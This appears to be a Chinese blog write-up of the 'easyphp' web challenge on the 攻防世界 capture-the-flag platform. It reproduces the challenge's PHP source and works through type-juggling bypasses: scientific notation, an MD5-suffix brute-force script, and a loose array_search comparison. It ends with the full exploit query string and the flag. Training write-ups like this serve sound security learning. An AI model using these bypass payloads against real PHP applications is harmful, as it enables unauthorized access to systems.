攻防世界WEB练习 | easyphp

Posted 2023-03-23 不知名白帽

前言

作者简介：不知名白帽，网络安全学习者。

博客主页：https://blog.csdn.net/m0_63127854?type=blog

攻防世界专栏：https://blog.csdn.net/m0_63127854/category_11983747.html

网络安全交流社区：https://bbs.csdn.net/forums/angluoanquan

目录

题目场景

代码分析

找到flag

---

题目场景

​

代码分析

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3)

isset：检查变量是否设置

intval：检查变量是否为int型

strlen：检查变量的长度

要求a存在且大于6000000，a的长度不能超过3

使用科学计数法 a=1e9(e9即10的9次方)

if(isset($b) && '8b184b' === substr(md5($b),-6,6))

直接用脚本跑出

<?php

for($i = 1;$i <= 1000000;$i++)

    if('8b184b' === substr(md5($i),-6,6))

        echo $i."<br>".md5($i);

    

?>

​

所以第一部分payload为?a=1e9&b=53724

$c=(array)json_decode(@$_GET['c']);

构造出数组C后json_decode

if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022)

$c需为数组。且存在m,m不能为数字，但是需大于2022.科学技术法,直接m赋值为2023q 即可

c="m":"2023q"

 if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0]))

$c 存在n为数组,n的值数量为2(非索引).n的第一个值为数组，(这里的0为索引)

c="m":"2023q","n":[[1,2],3]

$d = array_search("DGGJ", $c["n"])

foreach($c["n"] as $key=>$val)
            $val==="DGGJ"?die("no......"):NULL;

核心点是如何绕过array_ search这个函数。先看看下面两个判断吧，array_ seach的结
果b不能是假，也就是Array [n]中必须有元素是DGGJ,同时遍历Array [n]之后对数组值
进行判断，如果存在DGGJ则终止程序。
很明显这两个条件是矛盾的，开头提到了如何绕过array_ search是核心点，既然如此就先
了解一下array_search这个函数的作用吧。其作用是在数组中查找元素，并返回其下标。
而这个函数在进行元素查找的过程中进行的比较是==而非== =，因此同样是采取弱类型比较
的特点，因为是和没有数字字符串比较所以我们只要保证在Array [n]中存在非0下标的元
素中存在值0即可。因为在php中"字符串"==0是成立的。
最后再通过json_ encode ()将我们构造的数组进行一下转化就得到了 Array [n]的json格
式数据。

第二部分payload c="m":"2023q","n":[[1,2],0]

构造payload：?a=1e9&b=53724&c="m":"2023q","n":[[1,2],0]

​

找到flag

cyberpeacedb35f9b1ea0eaea688749f824e0ba234 

攻防世界easyphp

废话不多说，打开环境就是一大段的php代码，对于我一个小白来说，还是难阿！只能一点点琢磨构造payload的思路，当然也是在网上参考了别人的wp。记录下来也为了加深自己的印象，有事没事都能翻一翻，温故而知新嘛。

<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;

$a = $_GET['a'];
$b = $_GET['b'];

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3)
    if(isset($b) && '8b184b' === substr(md5($b),-6,6))
        $key1 = 1;
        else
            die("Emmm...再想想");
        
    else
    die("Emmm...");


$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022)
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0]))
        $d = array_search("DGGJ", $c["n"]);
        $d === false?die("no..."):NULL;
        foreach($c["n"] as $key=>$val)
            $val==="DGGJ"?die("no......"):NULL;
        
        $key2 = 1;
    else
        die("no hack");
    
else
    die("no");


if($key1 && $key2)
    include "Hgfks.php";
    echo "You're right"."\\n";
    echo $flag;


?> Emmm...

看最后一段，当key1和key2的值都为1时，才会返回flag的值。而key1和key2需要当a、b、c三个参数都满足条件时才会被赋值为1。

一段一段来分析，首先是a和b两个参数的要求。

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3)
    if(isset($b) && '8b184b' === substr(md5($b),-6,6))
        $key1 = 1;
        else
            die("Emmm...再想想");
        
    else
    die("Emmm...");

a的值需要大于6000000但是长度却不能大于3，很容易能想到用科学计数法来表示，比如1e8、1e9都可以。

b的md5值的最后6位需为“8b184b”，这个除了写脚本爆破好像也不知道还有什么更好的办法了。==>md5(53724)

import hashlib
for i in range(100000):
    b=i.to_bytes(22, 'big')
    m=hashlib.md5(str(i).encode()).hexdigest()
    if(m[-6:]=="8b184b"):
        print(i)
        print(m)

接着看一下c

$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022)
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0]))
        $d = array_search("DGGJ", $c["n"]);
        $d === false?die("no..."):NULL;
        foreach($c["n"] as $key=>$val)
            $val==="DGGJ"?die("no......"):NULL;
        
        $key2 = 1;
    else
        die("no hack");
    
else
    die("no");

c是个json格式的参数，且m键对应的值不为数字的同时需要满足大于2022

is_numeric在php中判断参数是否是数值类型是否是数字或数字字符串。"2222a"会被判定为false。
如果“2222a”和2022比较，则可以看作2222与2022的比较；若为“a2222”，则会被认定为0。
因此这里m键对应的参数可以为“2333abc”，可以同时满足上述的条件。

n键对应的值为数组，个数为2，且数组里的第一个元素也为数组，即[[...],...]

再往下看，如果n键对应值里面没有DGGJ，则会被判定为false，直接die，但下面又说如果遍历到了DGGJ也会被直接die...

array_search() 函数与 in_array() 一样，在数组中查找一个键值。如果找到了该值，匹配元素的键名会被返回。如果没找到，则返回 false。其实相当于键值与“DGGJ”进行比较，而 php中当一个数字与一个字符串/字符进行大小比较时，首先系统尝试将此字符串/字符转换为整型/浮点型，然后进行比较。所以当n键对应的值为数字且包含数字0的话，DGGJ被视为0，即可在”其中找到DGGJ“，返回True。

所以可以构造出c为"m":"2333abc","n":[[0,1],0]

综上

构造payload：

http://ip:port/?a=1e9&b=53724&c="m":"2333abc","n":[[0,1],0]